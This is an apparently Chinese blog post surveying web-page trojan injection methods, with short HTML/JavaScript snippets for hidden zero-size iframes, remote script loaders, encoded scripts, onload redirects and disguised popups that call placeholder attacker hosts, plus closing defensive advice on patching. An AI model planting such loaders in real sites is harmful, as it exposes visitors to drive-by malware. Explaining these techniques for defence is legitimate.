让我们来看看常见的网页挂马方式!
zhezhongyun 2025-04-24 10:35 51 浏览
所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据"库备份/恢复"或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP，然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时，你就会自动的访问被转向的地址或者下载木马病毒。下面就让我们来看看几种常见的挂马网站。
（1）iframe 框架挂马
在网页上增加一行挂马的程序，例如：
<iframe src=http://www.xxx.com/xxx.html width=0 height=0></iframe>
这种嵌入是的挂马非常常见，在Google中搜索发现的可能还有木马的网页，一般都是被这种方式挂马。这行语句就是在网页打开的时候，同时打开另外一个网页，当然这个网页可能包含大量的木马，也可能仅仅是为了骗取流量。
如果我们的网页不使用iframe，我们可以屏蔽iframe属性，这样，即使网页被iframe挂马，也不会伤害到访问网站的用户。
【原理】：
IE5及其以后版本支持在CSS中使用expression，用来把CSS属性和javascript脚本关联起来，这里的CSS属性可以是元素固有的属性，也可以是自定义属性。
我们在网页中增加如下的代码即可屏蔽iframe属性：
<style type=”text/css”>
iframe{a:expression(this.src=’about:blank’,this.outerHTML=”);}
</style>
iframe 也可以采用加密的方式挂马，例如下面的代码：
<iframe src=http://google-analitecs.com/in.cgi????? width=1 height=1></iframe>
（2）script 挂马
通过script的调用来挂马，可以挂直接的html文件，也可以挂js文件，可以明文挂马，为了躲避追查，也有加密挂马的形式，形式各异，千差万别，主要方式如下：
<script src=http://%11%11%11%11%11%11%11></script>
这是一个加密的挂马语句；
2.1 htm文件挂马：
通过上传一个木马文件(x.htm)挂马，代码如下：
document.write(“<div style=’display:none’>”)
document.write(“<iframe src=x.htm width=0 height=0></iframe>”)
document.write(“</div>”)
htm 挂马代码:
<script src=x.htm></script>
2.2 js文件挂马
通过上传一个木马文件(x.js)挂马，代码如下：
document.write(“<iframe width=’0′ height=’0′ src=’http://xxx.com/xxx.htm’></iframe>”);
JS挂马代码:
<script language=javascript src=x.js></script>
当然也可以挂互联网上任何一台机器的x.js文件；
2.3 js变形加密
<SCRIPT language=”JScript.Encode” src=http://www.xxx.com/x.x></script>
（3）图片伪装挂马
随着防毒技术的发展，图片木马技术逃避杀毒监视的新技术，攻击者将类似：http://www.xxx.com/x.htm中的木马代码植入到x.gif图片文
件中，这些嵌入代码的图片都可以用工具生成。图片木马生成后，再利用代码调用执行，是比较新颖的一种挂马隐蔽方法，实例代码如：
<html>
<iframe src=”http://www.x.com/x.htm” height=0 width=0></iframe>
<img src=”http://www.x.com/x.jpg”></center>
</html>
当用户打开http://www.x.com/x.htm是，显示给用户的是http://www.x.com/x.jpg，而http://www.x.com/x.htm网页代码也随之运行。
（4）其它的挂马方式
4.1 body挂马
<body onload=”window.location=’http://xxx.com/xxx.htm’;”></body>
也可以在css的body中挂马
body {
background-image: url(‘javascript:document.write(“<script src=http://www.xxx.com/x.js></script>”)’)}
4.2 隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML +
‘\r\n<iframe src=”http://www.xxx.com/xxx.htm/”></iframe>’;
4.3 java的open函数挂马
直接调用：
<SCRIPT language=javascript>
window.open (“x.htm”,””,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1″);
</script>
欺骗调用：
<a href=”http://www.a.com(迷惑连接地址，显示这个地址指向木马地址)” onMouseOver=”www_a_com(); return true;”> 页面要显示的内容 </a>
<SCRIPT Language=”JavaScript”>
function www_a_com ()
{
var url=”网马地址”;
open(url,”NewWindow”,”toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,w
idth=800,height=600,left=10,top=10″);
}
</SCRIPT>
4.4 伪装调用：
<frameset rows=”444,0″ cols=”*”>
<frame src=”a.htm” framborder=”no” scrolling=”auto” noresize marginwidth=”0″margingheight=”0″>
<frame src=”b.htm” frameborder=”no” scrolling=”no” noresize marginwidth=”0″margingheight=”0″>
</frameset>
形形色色的网页挂马，代码都十分简单，所以，互联网木马想要传播，就会不停的开发新的挂马方式，不停的加密隐藏自己，这样才能逃过各种安全软件的眼睛。其实，看看上文，很多语句都是编程常用的代码，只是使用的目的不一样罢了，了解了网页挂马的原理和方法，再防范网页挂马就容易多了。
带木马的网页主要包括两种类型：一种自己本身就是木马网站，所有的页面都有木马，另一种是正常的网站，由于管理不善，被挂马，成为木马网站的一个中转站，看看google中这样的网站何其多，可能很多站长现在还不知道，呵呵，多学习学习吧，站长可不是那么好当的。
不过，仅仅有了网络挂马的代码，也不一定一定能传播木马，只要我们加强防范，不让我们的网页被 挂马，甚至，即使被挂马了，打开了木马网页，我们的系统没有漏洞，木马网页也同样不能发挥作用的。所以，最重要的安全防范方式就是定期给系统打补丁，几乎 所有的木马网页都无法发挥作用了。
- 上一篇：html页面常用css简单整理
- 下一篇：斗鱼关注人数爬取 ── 字体反爬的攻与防
相关推荐
- Python入门学习记录之一:变量_python怎么用变量
-
写这个，主要是对自己学习python知识的一个总结，也是加深自己的印象。变量（英文：variable），也叫标识符。在python中，变量的命名规则有以下三点：>变量名只能包含字母、数字和下划线...
- python变量命名规则——来自小白的总结
-
python是一个动态编译类编程语言，所以程序在运行前不需要如C语言的先行编译动作，因此也只有在程序运行过程中才能发现程序的问题。基于此，python的变量就有一定的命名规范。python作为当前热门...
- Python入门学习教程:第 2 章 变量与数据类型
-
2.1什么是变量？在编程中，变量就像一个存放数据的容器，它可以存储各种信息，并且这些信息可以被读取和修改。想象一下，变量就如同我们生活中的盒子，你可以把东西放进去，也可以随时拿出来看看，甚至可以换成...
- 绘制学术论文中的“三线表”具体指导
-
在科研过程中，大家用到最多的可能就是“三线表”。“三线表”，一般主要由三条横线构成，当然在变量名栏里也可以拆分单元格，出现更多的线。更重要的是，“三线表”也是一种数据记录规范，以“三线表”形式记录的数...
- Python基础语法知识--变量和数据类型
-
学习Python中的变量和数据类型至关重要，因为它们构成了Python编程的基石。以下是帮助您了解Python中的变量和数据类型的分步指南：1.变量：变量在Python中用于存储数据值。它们充...
- 一文搞懂 Python 中的所有标点符号
-
反引号`无任何作用。传说Python3中它被移除是因为和单引号字符'太相似。波浪号~（按位取反符号）~被称为取反或补码运算符。它放在我们想要取反的对象前面。如果放在一个整数n...
- Python变量类型和运算符_python中变量的含义
-
别再被小名词坑哭了：Python新手常犯的那些隐蔽错误，我用同事的真实bug拆给你看我记得有一次和同事张姐一起追查一个看似随机崩溃的脚本，最后发现罪魁祸首竟然是她把变量命名成了list。说实话...
- 从零开始:深入剖析 Spring Boot3 中配置文件的加载顺序
-
在当今的互联网软件开发领域，SpringBoot无疑是最为热门和广泛应用的框架之一。它以其强大的功能、便捷的开发体验，极大地提升了开发效率，成为众多开发者构建Web应用程序的首选。而在Spr...
- Python中下划线 ‘_’ 的用法，你知道几种
-
Python中下划线()是一个有特殊含义和用途的符号，它可以用来表示以下几种情况：1在解释器中，下划线(_)表示上一个表达式的值，可以用来进行快速计算或测试。例如：>>>2+...
- 解锁Shell编程:变量_shell $变量
-
引言：开启Shell编程大门Shell作为用户与Linux内核之间的桥梁，为我们提供了强大的命令行交互方式。它不仅能执行简单的文件操作、进程管理，还能通过编写脚本实现复杂的自动化任务。无论是...
- 一文学会Python的变量命名规则!_python的变量命名有哪些要求
-
目录1.变量的命名原则3.内置函数尽量不要做变量4.删除变量和垃圾回收机制5.结语1.变量的命名原则①由英文字母、_(下划线)、或中文开头②变量名称只能由英文字母、数字、下画线或中文字所组成。③英文字...
- 更可靠的Rust-语法篇-区分语句/表达式，略览if/loop/while/for
-
src/main.rs://函数定义fnadd(a:i32,b:i32)->i32{a+b//末尾表达式}fnmain(){leta:i3...
- C++第五课:变量的命名规则_c++中变量的命名规则
-
变量的命名不是想怎么起就怎么起的，而是有一套固定的规则的。具体规则：1.名字要合法：变量名必须是由字母、数字或下划线组成。例如：a，a1，a_1。2.开头不能是数字。例如：可以a1，但不能起1a。3....
- Rust编程-核心篇-不安全编程_rust安全性
-
Unsafe的必要性Rust的所有权系统和类型系统为我们提供了强大的安全保障，但在某些情况下，我们需要突破这些限制来：与C代码交互实现底层系统编程优化性能关键代码实现某些编译器无法验证的安全操作Rus...
- 探秘 Python 内存管理:背后的神奇机制
-
在编程的世界里，内存管理就如同幕后的精密操控者，确保程序的高效运行。Python作为一种广泛使用的编程语言，其内存管理机制既巧妙又复杂，为开发者们提供了便利的同时，也展现了强大的底层控制能力。一、P...
- 一周热门
- 最近发表
- 标签列表
-
- HTML 教程 (33)
- HTML 简介 (35)
- HTML 实例/测验 (32)
- HTML 测验 (32)
- JavaScript 和 HTML DOM 参考手册 (32)
- HTML 拓展阅读 (30)
- HTML文本框样式 (31)
- HTML滚动条样式 (34)
- HTML5 浏览器支持 (33)
- HTML5 新元素 (33)
- HTML5 WebSocket (30)
- HTML5 代码规范 (32)
- HTML5 标签 (717)
- HTML5 标签 (已废弃) (75)
- HTML5电子书 (32)
- HTML5开发工具 (34)
- HTML5小游戏源码 (34)
- HTML5模板下载 (30)
- HTTP 状态消息 (33)
- HTTP 方法：GET 对比 POST (33)
- 键盘快捷键 (35)
- 标签 (226)
- opacity 属性 (32)
- transition 属性 (33)
- 1-1. 变量声明 (31)